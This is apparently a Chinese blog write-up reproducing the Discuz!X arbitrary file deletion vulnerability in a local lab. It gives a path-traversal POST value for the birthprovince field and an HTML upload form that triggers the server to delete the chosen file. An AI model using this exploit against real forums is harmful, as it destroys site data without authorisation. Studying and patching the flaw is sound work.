Discuz!X 3.4 前台任意文件删除漏洞复现

Discuz!X 3.4 前台任意文件删除漏洞复现

参考链接:

http://www.freebuf.com/vuls/149904.html

http://www.freebuf.com/articles/system/149810.html

http://mp.weixin.qq.com/s?srcid=0930uM1OtfeAsXwHRrfZBIyo&scene=23&mid=2650942631&sn=12a3c55807768f12fcd1b306fdf775d8&idx=1&__biz=MzAxNDY2MTQ2OQ%3D%3D&chksm=80796e95b70ee78345e289d3b1a9c262f6847b2032296ab90db54fc5b2b26771e505b17868c2&mpshare=1#rd

漏洞描述:

漏洞影响了Discuz  3.4 以下的所有版本。

该漏洞存在于upload/source/include/spacecp/spacecp_profile.php,文件中的submitcheck()函数。成功上传文件会跳转执行unlink这个函数。

Discuz!X 3.4 前台任意文件删除漏洞复现

space是用来存用户资料的变量,只所以选择birthprovince我觉得应该是这个字段没有对输入的内容做限制。

Discuz!X 3.4 前台任意文件删除漏洞复现

具体原理我也是根据别人讲的理解的。

实验环境:

win7 64位虚拟机 + phpstudy

Discuzx32gbk.zip    (在网盘里找对应文件名也行,下面链接下也行)

http://www.pc6.com/softview/SoftView_22804.html(目前使用3.2版本)

具体复现步骤:

首先在网站的根文件夹里新建一个test.txt,用于测试。

这个漏洞需要申请一个普通权限的用户

Discuz!X 3.4 前台任意文件删除漏洞复现

在用户资料设置处post数据修改出生地的值

http://192.168.198.128/DiscuzX3.2/home.php?mod=spacecp&ac=profile&op=base

POST提交 birthprovince=../../../test.txt&profilesubmit=1&formhash=8b257701

注意formhash的取值

Discuz!X 3.4 前台任意文件删除漏洞复现

Discuz!X 3.4 前台任意文件删除漏洞复现

由上图可以看出出生地已经修改为被删除文件的地址,下一步本地创建一个上传点页面,代码如下,注意要修改成自己的formhash值。

<form
action="http://192.168.198.128/DiscuzX3.2/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=aaaaaa" method="POST" enctype="multipart/form-data">
<input type="file" name="birthprovince" id="file" />
<input type="text" name="formhash" value="8b257701"/></p>
<input type="text" name="profilesubmit" value="1"/></p>
<input type="submit" value="Submit" />
</from>

访问如图,任意提交一个照片,服务器上test.txt文件被删除。

Discuz!X 3.4 前台任意文件删除漏洞复现

复现完成。

上一篇:关于C#中的++运算符的一些拓展思考


下一篇:window.opener和window.open的使用